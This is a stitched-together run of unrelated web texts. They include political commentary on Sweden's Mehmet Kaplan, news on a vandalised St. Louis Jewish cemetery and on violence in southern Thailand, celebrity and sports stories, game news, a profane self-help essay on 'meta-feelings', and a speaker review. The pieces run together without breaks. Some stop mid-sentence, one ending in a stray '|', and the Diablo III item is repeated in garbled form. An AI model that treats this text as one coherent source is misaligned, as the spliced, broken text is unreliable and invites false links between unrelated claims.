But as Christopher Hitchens loved to say, “You’ve still got all your work cut out for you.”
It’s more than possible to care about scientific literacy and religious bigotry as well as issues that are separate from those discussions but nevertheless significantly affect the everyday lives of countless people who look differently or act in ways that deviate from what’s normalized in our society.
Sam Harris, being such a well-reasoned individual, would have no problem embracing intellectual honesty and acknowledging he can do better understanding social realities he’s disconnected from…right?
__________
*Yes, I know Daniel Dennett is also considered a part of “The Four Horsemen of Atheism,” however, I didn’t read his work until after my one-dimensional and obsessive period with pulp mainstream New Atheism media.
**The term transantagonism is used in place of transphobia because a phobia is an anxiety disorder that sufferers do not choose and cannot necessarily control. People who oppress marginalized groups are not clinically suffering from an anxiety disorder whatsoever. They freely choose to act in calloused and malicious ways and can stop at any time, assuming they are disabused or otherwise rethink and evolve from their bigoted mindset.
A.N. 1: For information about the trans community, please visit here.
A.N. 2: Please review all the links provided before making comments that display unawareness or willful ignorance about things explained in the information linked.Social Democrat politician Nalin Pekgul went on the attack against Mehmet Kaplan from the Green Party (Miljöpartiet) in a debate article in one of Sweden's leading broadsheets.
Her piece in the Dagens Industri newspaper was prompted by a statement Kaplan made to the Turkish media, in which he claimed that the reason young Muslims are joining the terror group Isis is because of widespread Islamophobia in Europe.
Kaplan, who is Sweden's new Housing Minister, argued that the government should give more money to Europe's mosques in an effort to tackle the recruitment.
But Pekgul suggested that young people were signing up because they felt lost or rootless and that Islamist extremists were taking advantage of their vulnerability.
Former MP Nalin Pekgul said Kaplan has a "hidden agenda". Photo: TT
"It's unforgivably naive to think that giving money to these kinds of [Muslim] organizations and mosques will work against segregation and will reach out to these youths who are being radicalized," she wrote.
"It's exactly this kind of naivety that people like Mehmet Kaplan are counting on, and it's time for everyone who wants to oppose the radicalization to realize the damage Mehmet Kaplan and others like him can accomplish."
Kaplan previously hit the headlines after he compared Swedish jihadists in Syria to Swedish freedom fighters in Finland during World War Two.
He later apologized and said his comments had been misinterpreted.
But in today's article, Social Democrat politician Nalin Pekgul wrote:
"I'm convinced that he said exactly what he meant to say".
Kaplan, a 43-year-old born in Turkey, is a former spokesperson for the Muslim Council of Sweden. He has been a member of the Green Party since 2003.
"For fear of being labelled as an Islamophobe, no one dares question Mehmet Kaplan and his hidden agenda," added Pekgul.
She also drew comparisons between Kaplan and Jimmie Åkesson, the leader of the nationalist Sweden Democrat party.
"Jimmie Åkesson has claimed time and time again that he isn't racist and that he actually doesn't have anything against immigrants, rather that he just wants to reduce the volume of immigrants.
Similarly, Mehmet Kaplan says that he supports equality between the genders, but there are few secular muslims who'd believe that he wasn't an Islamist."
The word Islamist is a controversial one and some media outlets have been criticized for using it as a synonym for Islamic fighters or extremists.
The term broadly refers to those who want a country's government and society to operate in accordance with Islamic laws, which do not promote egalitarianism.
It is unclear how Nalin Pekgul intended her phrasing to be interpreted.
In her article, she also wrote that with Kaplan in government, Sweden's Green Party heads Gustav Fridolin and Åsa Romson "have sent a clear signal to Sweden's muslims that the Islamists now have the support of the Swedish establishment".The universal classics are iconic designs, loved by all. These artists were clearly inspired by these public domain characters to create their own take on the Monster concept. Check it out!
Naked, sexless Frankenstein looking mean, green and ready to body slam anyone with a pitchfork!
More “Alucard” than “Dracula”, this Castlevania inspired illustration shows how keeping some of the iconic pieces of the originals can make new takes still be a classic.
The Bram Stroker’s Dracula movie character design clearly left an impression on Chema Mansilla, giving the world this wispy, paint-like piece.
The unwilling monster, captured with perfection by Álvaro. A self-exile into nature.
This Wolfman doesn’t seem to hesitate, a modern take on the original.
Sure, “Clash of Titans” isn’t an universal classic. But the figure of the “Kraken” is a Bonafide classic as you can get a monster in the 80’s. This art represents that, a monster that needs more modern love. (No, the recent “Clash of Titans” movie doesn’t count.)
The Creature of the black lagoon, often ignored, forgotten, but it’s fully realized here by Crystal Sully. Let’s hear it from the Lord of the Deep!Story highlights Vice President Mike Pence condemns anti-Semitism in visit to damaged cemetery
Vandals toppled nearly 200 headstones at cemetery in a St. Louis suburb
(CNN) Vice President Mike Pence and Missouri Gov. Eric Greitens on Wednesday added their voices -- and cleanup skills -- to those condemning the vandalizing of a Jewish cemetery in a St. Louis suburb.
The two men visited the Chesed Shel Emeth Society cemetery in University City, where at least 170 headstones were toppled and damaged. Greitens said President Donald Trump called him Wednesday morning to thank the people of Missouri "for standing up in the fight against anti-Semitism."
Pence thanked residents for their efforts to restore the toppled headstones and said, "There is no place in America for hatred or acts of prejudice or violence or anti-Semitism."
After Pence and Greitens concluded their remarks, they prayed with others at the scene, then Pence picked up a rake and helped in the cleanup.
A fundraiser for the cemetery is sending a strong message of unity and tolerance.
Read MoreMore than 4,000 people have died in atttacks across south Thailand over the past six years [Reuters]
More than 4,000 people have died in atttacks across south Thailand over the past six years [Reuters]
More than 4,000 people have died in atttacks across south Thailand over the past six years [Reuters]
He said the attackers snatched four guns from the patrol before fleeing.
Three of the five soldiers killed were Muslim and two Buddhist.
Narathiwat, together with the provinces of Pattani and Yala, has a predominantly Muslim population, many of whom have long complained of discrimination, especially in education and job opportunities.
No responsibility claim
In the region's second attack, which occurred on Friday, a bomb buried on a road went off, killing three soldiers in a pickup van, Lieutenant-Colonel Kumpon Ponpakdi said.
Al Jazeera's Wayne Hay, reporting from Yala, where the blast took place, said: "As usual here in southern Thailand, no one has come forward to claim responsibility for the attacks.
Thailand's troubled south
"But over the years, much of the violence has been blamed on Muslim insurgent groups who are believed to be fighting for an autonomous region encompassing the three southern provinces of Thailand.
"Officials are also saying that they believe that other organised crime groups are involved in the violence."
More than 4,000 people have been killed in southern Thailand in six years of fighting between security forces and Muslim fighters.
As well as members of the security forces, the fighters usually target people associated with the Thai state, including government officials and teachers.
Tensions have simmered since the region, formerly an autonomous Malay Muslim sultanate, was annexed by predominantly Buddhist Thailand in the early 1900s.
About 90 per cent of those killed are civilians.
The Thai government has made little progress towards quelling the unrest despite deploying thousands of paramilitary troops - usually residents hired as armed auxiliaries to the regular military - in the area alongside 30,000 army troops.
Human rights groups have warned that alleged abuses by the security forces in the region risk further stoking the unrest.Four Assistant U.S. Attorneys in Oregon were named recipients of the 2014 Director's Awards, given by the Executive Office for U.S. Attorneys for extraordinary professional achievements and excellence.
Gary Sussman, who prosecutes child sexual abuse and exploitation cases, received the Director's Award for Superior Performance as a Criminal Assistant U.S. Attorney. He has served as a Project Safe Childhood Coordinator for seven years, according to a press relase from the U.S. Attorney's Office. His cases have included prosecuting an Aloha mother who allowed her husband to sexually abuse her children and a child pornography case involving a former school teacher.
Tim Simmons, Craig Gabriel and Billy Williams received Director’s Awards for Superior Performance in Indian Country. The three assistant U.S. Attorneys serve as tribal liaisons to the nine federally recognized tribes in Oregon and were recognized for their work in building partnerships with tribal communities, prosecuting Indian Country crimes and promoting safety.
"I am particularly proud to have our Indian Country and Project Safe Childhood prosecutors recognized in this way as it speaks to the hard work of our office, prioritization and continued commitment in these areas," Amanda Marshall, U.S. Attorney for Oregon, said in a press release. "Having four of our (assistant U.S. Attorneys) recognized for their significant contributions to the mission of the Department of Justice, and the citizens of Oregon is a testament to the commitment, dedication, and hard work of all our employees."
-- The OregonianLena Dunham apologized on Tuesday after she said George Clooney was “more sexually irresistible” for speaking out against Harvey Weinstein amid the sexual assault allegations against Weinstein.
Dunham retweeted Jessica Chastain’s tweet of the Daily Beast’s interview with Clooney on Monday. She posted it with the comment: “Ironically, guys, speaking out against Harvey Weinstein only makes you more sexually irresistible (consensually, of course).” Clooney called Weinstein’s behavior “indefensible” and “disturbing on a whole lot of levels.” The 56-year-old actor said he “heard rumors” about the alleged sexual acts in the 20 years he’s known him.
GEORGE CLOONEY 'HEARD RUMORS' FOR YEARS ABOUT HARVEY WEINSTEIN'S ALLEGED 'INDEFENSIBLE' BEHAVIOR
Users criticized Dunham for her comment as more women in Hollywood revealed the movie mogul sexually assaulted and used sexual language against them. Rose McGowan, who called Weinstein a “monster” and also revealed she was “hurt” by the producer, retweeted a screenshot of Dunham’s comment saying: “Not right not right not right not right.”
In her apology, Dunham said she “missed the mark.”
“I'm sorry I missed the mark. I won't try to explain myself but simply say I hope you feel the love from me and many fellow assault survivors,” Dunham wrote on Twitter.
Dunham has been vocal about the sexual assault allegations against Weinstein, who was fired from his own company on Sunday, days after the New York Times report was released. She wrote an op-ed for The New York Times on Monday, saying she “heard rumors” about the producer, but still performed at a Weinstein benefit for then-presidential candidate Hillary Clinton.
HARVEY WEINSTEIN SEX SCANDAL: DETAILING THE ALLEGATIONS
“I felt that going onstage under his aegis was a betrayal of my own values. But I wanted so desperately to support my candidate that I made a calculation,” Dunham wrote. “We’ve all made calculations, and saying we’re sorry about those calculations is not an act of cowardice.”
New reports by the New Yorker and the New York Times also accused Weinstein of raping three women and sexually harassing Gwyneth Paltrow and Angelina Jolie.Blizzard: Diablo 3 Release Date Is Nearing By Pete Haas Random Article Blend Diablo III is supposed to be released in early 2012 but thus far Blizzard has yet to announce a release date. However, in a video to Korean D3 fans, game director Jay Wilson hinted that a date may be revealed soon.
"2012 will be a great year, because the Diablo series will finally make its long awaited return. We are currently working hard to deliver Diablo III to you and ensure that it lives up to your expectations," said Wilson (via
Activision Blizzard will be holding a conference call with shareholders on February 9th to report on the company's 4Q 2011 results. It's possible that the date will be announced during this call. D3's probably one of the two or three biggest games Activision has in the pipe for 2012 so it seems likely that Activision will at least announce an estimate for the game's release.
Rumors were flying earlier this month that Diablo III would be released in the
Last week Wilson announced that they were making
"Our job isn't just to put out a game, it's to release the next Diablo game," said Wilson at the time. "No one will remember if the game is late, only if it's great."
Update: If you're bored silly by the lack of Diablo III, check out our
Update 2: Blizzard has announced that the game is now due between
is supposed to be released in early 2012 but thus far Blizzard has yet to announce a release date. However, in a video to Koreanfans, game director Jay Wilson hinted that a date may be revealed soon."2012 will be a great year, because theseries will finally make its long awaited return. We are currently working hard to deliver Diablo III to you and ensure that it lives up to your expectations," said Wilson (via Blizzplanet ). "We plan to deliver nothing less than an epic gaming experience. The Release Date is nearing, and we eagerly await your return as the heroes of Sanctuary. We wish each and everyone of you the very best in the new year."Activision Blizzard will be holding a conference call with shareholders on February 9th to report on the company's 4Q 2011 results. It's possible that the date will be announced during this call.'s probably one of the two or three biggest games Activision has in the pipe for 2012 so it seems likely that Activision will at least announce an estimate for the game's release.Rumors were flying earlier this month thatwould be released in the first week of February. However, Blizzard promptly denied that a date had been set. They're going to give themselves ample time to hype a launch date so you shouldn't expect the game so soon.Last week Wilson announced that they were making several big changes to the game's items and stats. He also hinted at other major revisions to the game, which makes it seem less and less likely that we'll see the game until the summer."Our job isn't just to put out a game, it's to release the nextgame," said Wilson at the time. "No one will remember if the game is late, only if it's great."If you're bored silly by the lack of, check out our hands-on impressions of the beta.Blizzard has announced that the game is now due between April and June Blended From Around The Web Facebook
Back to topThe Georgetown University Master's in Cybersecurity Risk Management prepares you to navigate todays complex cyber threats. Take classes online, on campus, or through a combination of both -- so you dont have to interrupt your career. Learn more.
With all the hopes many in the FOSS community have pinned to the increasingly popular netbook, it's no great surprise that the topic is a contentious one. So, when the first Android netbook was spotted recently, excitement on the blogs went through the proverbial roof.
Computerworld's Seth Weintraub seems to have been the first to shine a spotlight on the Skytone Alpha 680, which was apparently announced a few weeks ago in Hong Kong.
Further investigation revealed that the ARM-based machine will cost around US$250 and should be available within three months.
The diminutive device's specs are "anemic," in Weintraub's opinion; nevertheless, they were more than enough to fire up some red-blooded conversation.
'The Price Tag Is Disappointing'
"It's nice to see companies experimenting with putting Android on netbooks, even though this first one seems like something of a dud (not enough RAM, battery life problems)," wrote Theli on Digg, where the topic was discussed not just once but twice in separate threads. "That is to be expected, though. It's clearly an early adopter's device. I'd probably wait until some of the bigger players (Asus, Acer, MSI and HP) get involved. Prices should come down, and the design should settle on something that works."
Similarly: "Given the prices of current netbooks, the $250 price tag is disappointing," agreed Binarydemon. "Unless performance or battery life is significantly better, |
suck at the whole truth thing. And that’s a problem.
Why It’s Hard to Get Over Your Own Feelings
Now, none of what I’m saying is really that surprising or new. In fact, you’ve probably tried to get over some of your own obnoxious feelings and impulses before and failed to do it.
The problem is when you start trying to control your own emotions, the emotions multiply. It’s like trying to exterminate rabbits. The fuckers just keep popping up all over the place.
This is because we don’t just have feelings about our experiences, we also have feelings about our feelings. I call these “meta-feelings” and they pretty much ruin everything.
There are four types of meta-feelings: feeling bad about feeling bad (self-loathing), feeling bad about feeling good (guilt), feeling good about feeling bad (self-righteousness), and feeling good about feeling good (ego/narcissism).
Here, let me put those into a pretty little table for you to stare at:
Meet Your Meta-Feelings
Feeling Bad About Feeling Bad (Self-Loathing) – Excessive self-criticism
– Anxious/Neurotic behavior
– Suppression of emotions
– Engage in a lot of fake niceness/politeness
– Feeling as though something is wrong with you. Feeling Bad About Feeling Good (Guilt) – Chronic guilt and feeling as though you don’t deserve happiness.
– Constant comparison of yourself to others
– Feeling as though something should be wrong, even if everything is great.
– Unnecessary criticism and negativity. Feeling Good About Feeling Bad (Self-Righteousness) – Moral indignation
– Condescension towards others
– Feeling as though you deserve something others don’t.
– Seeking out a constant sense of powerlessness and victimization. Feeling Good About Feeling Good (Ego/Narcissism) – Self-congratulatory
– Chronically overestimate yourself; a delusionally-positive self-perception
– Unable to handle failure or rejection
– Avoids confrontation or discomfort
– Constant state of self-absorption
Meta-feelings are part of the stories we tell ourselves about our feelings. They make us feel justified in our jealousy. They applaud us for our pride. They shove our faces in our own pain.
They’re basically the sense of what is justified/not justified. They’re our own acceptance of how we should respond emotionally and how we shouldn’t.
But emotions don’t respond to shoulds. Emotions suck, remember?
And so instead, these meta-feelings have the tendency to rip us apart inside, even further.
If you always feel good about feeling good, you will become self-absorbed and feel entitled to those around you. If feeling good makes you feel bad about yourself, then you’ll become this walking, talking pile of guilt and shame, feeling as though you deserve nothing, have earned nothing, and have nothing of value to offer to the people or the world around you.
And then there are those who feel bad about feeling bad. These “positive thinkers” will live in fear that any amount of suffering indicates that something must be sorely wrong with them. This is the Feedback Loop from Hell that many of us are thrust into by our culture, our family and the self-help industry at large.
But perhaps the worst meta-feeling is increasingly the most common: feeling good about feeling bad. People who feel good about feeling bad get to enjoy a certain righteous indignation. They feel morally superior in their suffering, that they are somehow martyrs in a cruel world. These self-aggrandizing victimhood trend-followers are the ones who want to shit on someone’s life on the internet, who want to march and throw shit at politicians or businessmen or celebrities who are merely doing their best in a hard, complex world.
Much of the social strife that we’re experiencing today is the result of these meta-feelings. Moralizing mobs on both the political right and left see themselves as victimized and somehow special in every miniscule pain or setback they experience. Greed skyrockets while the rich congratulate themselves on being rich in tandem with the increasing rates of anxiety and depression as the lower and middle classes hate themselves for feeling left behind.
These narratives are spun not only by ourselves but fed by the narratives invented in the media. Right-wing talk show hosts stoke the flames of self-righteousness, creating an addiction to irrational fears that people’s society is crumbling around them. Political memes on the left create the same self-righteousness, but instead of appealing to fear, they appeal to intellect and arrogance. Consumer culture pushes you to make decisions based on feeling great and then congratulates you for those decisions, while our religions tell us to feel bad about how bad we feel.
Control Meaning, Not Emotions
To unspin these stories we must come back to a simple truth: feelings don’t necessarily mean anything. They merely mean whatever you allow them to mean.
Maybe I’m sad today. Maybe there are eight different reasons I can be sad today. Maybe some of them are important and some of them aren’t. But I get to decide how important those reasons are–whether those reasons state something about my character or whether it’s just one of those sad days.
This is the skill that’s perilously missing today: the ability to de-couple meaning from feeling, to decide that just because you feel something, it doesn’t mean life is that something.
Fuck your feelings. Sometimes, good things will make you feel bad. Sometimes, bad things will make you feel good. That doesn’t change the fact that they are good/bad. Sometimes, you will feel bad about feeling good about a bad thing and you will feel good about feeling bad about a good thi–you know what? Fuck it. Just fuck feelings.
This doesn’t mean you should ignore your feelings. Feelings are important. But they’re important not for the reasons we think they are. We think they’re important because they say something about us, about the world, and about our relationship with it. But they say none of these things. There’s no meaning attached to feelings. Sometimes you hurt for a good reason. Sometimes for a bad reason. And sometimes no reason at all. The hurt itself is neutral. The reason is separate.
The point is that you get to decide. And many of us have either forgotten or never realized that fact. But we decide what our pain means. Just as we decide what our successes expose.
And more often than not, any answer except one will tear you apart inside. And that answer is: nothing.Passing along: the video accompanying Jeff Chadiha's piece on Patrick Willis.
"San Francisco 49ers Patrick Willis, perhaps the best linebacker in the NFL, just bought a house. Big deal?" the caption beneath the video reads. "It is for Willis, who grew up in an abusive household bereft of what many of us take for granted -- no running water, no electricity and, worst of all, no compassion. Forced at an early age to be a leader and fend for himself and his siblings in the face of beatings and neglect by an abusive father, Willis eventually settled in with a foster family that helped turn his life around and bring him to where he is now. Finally, his mission to find a place to call home just might have ended."Share. Is the classic JRPG about to make a comeback? Is the classic JRPG about to make a comeback?
Fans of old PlayStation JRPGs will remember the name Arc the Lad well. It was a series of games released on both PlayStation and PlayStation 2, developed first by G-Craft (previously known for the Square game Front Mission), then by ARC Entertainment, and finally by Cattle Call.
The original Arc the Lad came to the original PlayStation in 1995 in Japan only. It was followed up by Arc the Lad II and III in 1996 and 1999 respectively. None of the games saw the light of day in the west until cult favorite (and now defunct) publisher Working Designs brought them over in a collection in 2002. Several spin-offs appeared thereafter; the final game in the core series came to PlayStation 2 in 2004 in the form of Arc the Lad: End of Darkness.
However, a new trademark filing (found by IGN reader StargamerX), submitted by Sony on Friday, November 22nd, indicates that Sony many be planning to bring the franchise back. The applicant on the filing is Sony Computer Entertainment’s headquarters in Tokyo, Japan.
The trademark filing is for “Computer game software, video game software, video game machine for use with televisions for personal use, computer and video games on CD ROMs; and video game cartridges,” as well as “Printed publications, namely, books and magazines featuring instructions and information on playing computer and video games; stationery; mounted and unmounted photographs and playing cards.”
This trademark filing could simply be a renewal of an old Sony property in preparation of future releases of some of the old games on PlayStation Network, or some other routine legal procedure to protect one of its properties. Or, it could be what we hope: a new Arc the Lad game for PlayStation 4 or PS Vita. We’ve reached out to Sony for comment, and will update when we hear back.
Colin Moriarty is IGN’s Senior Editor. You can follow him on Twitter.In the world of home audio, Monoprice has established a reputation of providing low-cost electronics accessories such as cables, wall mounts, adapters, and so on. However, with the launch of their Monolith series of higher-end home theater gear at the 2016 CEDIA Expo, Monoprice looks to be trying to break away from their reputation as merely a source for very low cost products and instead become a destination for high-performance speakers and amplifiers as well. We acquired a pair of their new Monolith K-BᾹS bookshelf speakers for review, and now we'll see how serious Monoprice is about making headway into the realm of hi-fi speakers.
Appearance
The K-BᾹS speakers arrived sensibly packed with a large stiff foam blocks on the top and bottom of the speakers. The speakers were covered with a soft plastic bag to protect it from moisture and scuffs. Unpacking revealed a tall but narrow black speaker with a nice satin black finish and rounded edges. With the grille on, the K-BᾹS looks rather plain: just a black box. Removing the grille certainly gives this speaker more personality, as the woofer, tweeter, and Monolith emblem are unmasked. There isn’t much more to say here; overall the appearance is not bad at all, if not exactly dazzling. They look like a pretty typical bookshelf speaker. They don’t have a lot of pizzazz, but they are polite and clean-cut.
Design Overview
Here is where things get a bit more interesting. Monoprice claims a frequency response of 39 Hz to 20 kHz in a +/- 2.2 dB window. Now, a lot of manufacturers make bass extension claims that just aren’t plausible, especially for bookshelf speakers, and, given the bass specs of a speaker like this (a 5.25” polypropylene woofer) I would not believe a response like that on the face of it, but this frequency response window is strangely specific. What’s more, the K-BᾹS sports a design that could, in theory, reach very low for its size. The K-BᾹS uses a patented inverse horn design from speaker designer Phil Clements, which is a special enclosure design that allows relatively small cabinets and drivers reach much deeper frequencies than is typical for their size. Atlantic Technology speakers also uses same design in their H-PAS speaker, so it is no coincidence that the K-BᾹS speakers bear a strong resemblance to some of the Atlantic Technology speakers.
Within the cabinet, the backwave pressure caused by the rear-facing side of the cone get squeezed through a progressively smaller space as it travels toward the port. This squeezing increases air pressure as the pressure waves move through the cabinet. The pressure waves also pass by a chamber that acts as a Helmholtz Resonator. Helmholtz Resonance is the physical principle behind the phenomena where, when you blow air over the top of a bottle or jug, a distinct sound is produced, and it is how ports produce sound on conventional bass reflex speaker designs. The heightened flow of pressure waves amplify the sound produced by the Helmholtz Resonance in the K-BᾹS enclosure. Furthermore, the chamber by which the Helmholtz Resonance is created is heavily damped with Dacron, which helps to filter out harmonic distortions that might have developed from previous chambers. By the time the pressure waves exit the port on the K-BᾹS, they have been increased in amplitude and lowered in frequency, so the system can produce deep bass very efficiently.
For those of you who made it through that last paragraph, co ngratulations; you are well on your way to a degree in acoustic science! Everyone else can just take away the idea that the flow of sound waves within the cabinet are carefully controlled to optimize low frequency efficiency and extension, so this bookshelf speaker might actually be capable of its claimed low-frequency extension. The high frequencies are taken care of by a 1” ferrofluid-cooled titanium dome tweeter. The 5.25” woofer has a beefy motor that is needed to push the rear pressure waves through the various chambers. For a design like this to work best, the woofer needs some “working” distance in the interior of the cabinet from the port, so the tweeter is positioned below the woofer. The tweeter and woofer are given separate printed circuit boards on the crossover in an effort to reduce crosstalk. The crossover chokes are wound using large diameter wire, which Monoprice claims will enable these components to resist adding any coloration to the signal. The crossover uses low-loss polyester capacitors and inductors with the “highest grade” core material for 1st-order low pass and 2nd-order high pass signal separation between the drivers at 3 kHz.
The cabinet itself is relatively sturdy, with a ¾” thick front baffle and ½” thick sidewalls. The interior chamber paneling does serve very effective double-duty as bracing to reduce cabinet resonance. The cabinet is generously stuffed with Dacron in order to damp resonances as well. The speaker terminals are a pair of sturdy binding posts. The cabinets do not come with feet attached, but Monoprice has included small rubber dimple ‘stickers’ that can be attached and used as feet. Overall, the design looks to be solid, with a reassuring attention to detail.ASHBURN, Va. -- On a recent Friday, Washington Redskins coach Jay Gruden did what he often does. He ventured through the locker room, searching for a player. Or just to be a presence. When he spotted a card game being played by several players -- a mix of starters and players low on the depth chart -- Gruden sat down on the couch and watched.
After a few minutes, and after then little-known cornerback Quinton Dunbar won the hand, Gruden rose and said, “I guess they did teach you something at Florida.” That’s Gruden: A coach who actively engages his players, sometimes needling them, but always involved.
It happens in practice: Gruden serves as a quarterback during some drills. “How did my arm look?” he’ll ask later. He’ll serve as a defensive back in others. He shouts out praise; he’ll ping them other times.
Last week, after a 28-point loss to the Carolina Panthers, Gruden was on edge. “There was a lot of truth telling on the field today,” one player said after a practice.
“He jokes around, but he’s not afraid to ride your ass,” Redskins corner DeAngelo Hall said. “He’ll praise you in front of everybody the same way he’ll scold you in front of everybody.”
But it’s all part of the Gruden package. Perhaps it’s one reason the Redskins are 5-6 and tied for first place in the division. For other teams, that record would represent a regression, but not in Washington. Not after two years and seven combined wins. Still, like his quarterback, Kirk Cousins, there’s a referendum on Gruden each week: If the Redskins lose a game, there’s grumbling among the fan base about both. Had Washington lost to the New York Giants this past weekend, there would have been calls for Gruden's job. Instead, the first-place Redskins are 5-6 heading into Monday night’s game vs. the Dallas Cowboys with a chance to be at.500 this late in the season for only the second time since 2008.
Redskins coach Jay Gruden has earned the respect of his players and has Washington tied for first place in the NFC East. AP Photo/Brynn Anderson
So Gruden still has something to prove: Is he a strong enough leader? That was a question around the league before he became the Redskins’ head coach. It still needs to be answered. After all, the Redskins are still just 1-12 on the road under Gruden -- eight of those losses have been by double digits -- and 9-18 overall. He needed to show growth as a head coach, not wearing losses on his sleeve as much as in the past -- one criticism from former safety Ryan Clark -- which impacted players’ belief in his plan to recover. Players say he’s been more positive after losses this season, still selling the game plan. And the organization wanted him to no longer be quite so honest in his assessment of players (Robert Griffin III, for example) as he was in 2014. That’s changed, too.
One member of the organization said recently that Gruden was safe for 2016, so it’s not about him coaching for his job. When he benched Griffin for Cousins this summer, many in the locker room liked the move because it signaled that the players performing the best would play.
As one player said recently of the feel-good vibes surrounding the coach: “It helps when you win a couple games. It could change if we lose a couple in a row.”
But the Redskins have also overcome injuries to remain in playoff contention, albeit in a bad division. Still, 5-6 represents improvement. It’s only the third time in the last seven seasons they’ve been this close to.500 after 11 games.
“He’s a great listener,” Redskins safety Dashon Goldson said. “He listens to the player and he knows what it’s like to be a player. His coaching goes a long way with the players.”
Goldson pointed to days when Gruden might tweak their routine, allowing the players extra sleep later in the week. Goldson also said players recently went to Gruden to request more competitive situations in practice between starters.
“Guys put that in his ear a little bit,” Goldson said. “He’s a good leader and he gets the attention of the players because what he says is true. It’s genuine. He knows what he’s talking about, and guys might be thinking the same thing. Sometimes I might have something to say in a team meeting, but before I say it he’s already talked about how I’m feeling. It’s weird. He has a good feel for the locker room.”
Questions about Gruden before he came to Washington included whether he could command the room and whether he would be organized enough. But he knows how to connect with players. Sometimes it’s in different ways than you usually see in the NFL: After one tough loss last season, he went around the locker room shaking hands with players, thanking them for their efforts. Players say he doesn’t play favorites, either.
“You can’t help but notice him joking around with this guy or that guy,” Hall said. “He’s not just talking to [DeSean Jackson] or Trent [Williams] or big-name guys. It’s everybody. He jokes with RG even to this day. It’s not something where I bench him so I won’t talk to him anymore. Anyone in this locker room would feel more than comfortable sitting down and having dinner with Jay one on one. I think from the jump he came in with a confidence that he knew he could relate to guys.”
Gruden said, “That’s just the way I am. It’s important to treat everyone the same. I like to get to know guys anyway. They all have a unique personality. It’s important to know what gets to them and what motivates them.”
For all of that, the Redskins knew they needed stronger leadership in the locker room. Gruden has a presence, but he’s also not a Bill Belichick type or even Joe Gibbs, two different personalities. But both coaches could intimidate players in ways others can’t.
The Redskins did, however, sign stronger leaders this offseason, and it’s made a difference.
“The leaders who are supposed to lead in this locker room are leading,” Redskins backup quarterback Colt McCoy said. “That’s what Jay wants. He’s an unbelievable coach and very offensive-minded -- one of the best I’ve been around. But at a certain point you have to take accountability in the locker room, and that’s what’s starting to take place.”
Nor is Gruden one to pump himself up, even in private discussions -- past coaches have done just that. He knows he’s the one who will get blamed if the Redskins lose; he knows it’s not just about him if they win.
“As a coach you’re always growing and you have to grow, no matter how long you’ve been in the league. But it’s a matter of having the people around you grow also,” Gruden said. “I think our staff has done an excellent job of growing with this football team and energizing this football team and developing this football team. That’s what it’s all about ultimately.”Not long ago, Vanke Rays head coach Rob Morgan would dump a puck into a corner for a one-on-one battle, and if it was between a Chinese national team player and a North American, there’d be no doubt in his mind who was coming out with that puck.
But last week, during a couple practices ahead of his team’s opening game of its inaugural CWHL season, he saw a very different compete level among the Chinese players on his roster.
“Now, there’s contact,” says Morgan, the 50-year-old from Medicine Hat, Alta., who was named head coach of Vanke back in April. “It’s a battle. That wasn’t happening before.
“That’s been the really good surprise—the positive growth that has happened in such a short period of time already among the Chinese nationals. And we get to do this for the next five years.”
They do. Because this is just the start of an enormous project to bring hockey to China in time for the 2022 Olympics in Beijing, to elevate the country’s national teams to have a shot at the podium.
And this weekend, history is being made in Markham, Ont., where the Kunlun Red Star—the other China-based expansion team joining the CWHL this season, headlined by Finnish national team goaltender Noora Raty, and Team USA star Kelli Stack—will play their first-ever game in the league. Vanke gets its start next weekend in Toronto.
To hear Morgan explain it, the Vanke team is full of young players, while Kunlun is the more experienced and established of the two new CWHL franchises. “It’s kind of like the Edmonton Oilers and the Detroit Red Wings of a couple years ago,” he says, of the Rays and Red Star. “We have the younger team with a lot of potential, so it’s just a matter of developing that.”
That’s a good way to look at the goal for hockey in China, as a whole, really. A ton of potential—a population of 1.3 billion—that has barely dipped its toe into hockey waters.
Last season, there were fewer than 300 registered female hockey players in China. The goal is to start to change that, and these CWHL teams are one step in that direction.
Digit Murphy is the chief coach of HC Red Star Hockey in China and head coach of the Kunlun CWHL team. Kunlun plays Markham twice this weekend—at 7:30 p.m. at Thornhill Community Centre in Markham on Saturday and at 12:30 p.m. on Sunday.
Murphy, the former head coach at Brown and of the CWHL’s Boston Blades, says she’s trying to keep her Red Star players level ahead of their first games.
“For us, the mission is daily, right?” says the 55-year-old from Cranston, R.I. “It’s nice to get going and have the season count for something, but our mission is much broader than the first games of the CWHL season. Our mission is to make the Chinese better, so playing in this league is just a vehicle to achieve our success in 2022.
“We’ve got a long way to go,” she adds, laughing.
Indeed, they do. But the program they’ve set up to help grow the game on the women’s side is geared at making it happen as quickly as possible. Vanke and Kunlun may play against one another in the CWHL, but they’re also working together. They’ll have similar breakouts, the same game plans on power plays and the penalty kill, so that when the national team players come together to play for China, the transition is seamless. The plan is to work together to give this Chinese women’s national team its best shot at success.
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The Chinese players also have the benefit of learning from ambassadors like Raty and Stack, the Red Star players who own a lot of world championship and Olympic medals themselves.
“When you have Noora Raty and Kelli Stack available, who’ve been there done that at the Olympic level and medalled, and they’re available for KRS and for Vanke, that’s enormous,” Morgan says. “The ability to take this vision and see the sport ambassador model be adopted and embraced so quickly is powerful stuff.”
There are, of course, a lot of challenges to this project. The Rays and Red Star don’t even know yet if they can play their home games as planned at Shenzen Universiade Sports Center, because hockey’s never been played there and they’re not sure the ice will be decent (Morgan says it’s “basically Florida weather.”) If things don’t work out there, they have to figure out a Plan B for their home base, which might be Beijing. But already the Rays have flights booked back to Shenzen for their first home series, so fingers are crossed that the ice holds.
The travel is a whole other story. Both the Rays and Red Star have been in North America for about a month, playing exhibition games. And they won’t return home until mid-November.
“We knew there were gonna be some challenges in figuring out how we’re going to deliver this with the travel and going from one city to another city, because it’s not like the other teams where they play their games and then they go home,” Morgan says. “We have the season chunked out into these segments where we go from one city to another city to another city, then we go home.
“So, how was that going to be embraced? And there’s a real struggle there, but through that struggle they grow, they get stronger, they learn to deal with adversity,” he adds. “Lots of positive growth going on here.”
And lots of room, for growth. Because the fact is, while there are challenges, there’s also a much better chance for China to become a threat on the world stage on the women’s side of the game. There are similar efforts happening to grow hockey on the men’s side, with former NHL coach Mike Keenan leading the Kunlun Red Star team in the KHL, but consider the depth of the field in men’s hockey in Europe alone, and it’s a steep ladder to climb, especially in a hurry.
Tape II Tape Ryan Dixon and Rory Boylen go deep on pucks with a mix of facts and fun, leaning on a varied group of hockey voices to give their take on the country’s most beloved game.
On the women’s side, the U.S. and Canada are a cut above the rest of the world, and Finland is next-closest. Sweden and Germany are in the mix, but beyond those countries, there isn’t a ton of depth.
“I think for us, in the initial five years here, there’s a bigger chance for us to get better quicker because there’s not as much competition,” Murphy says.
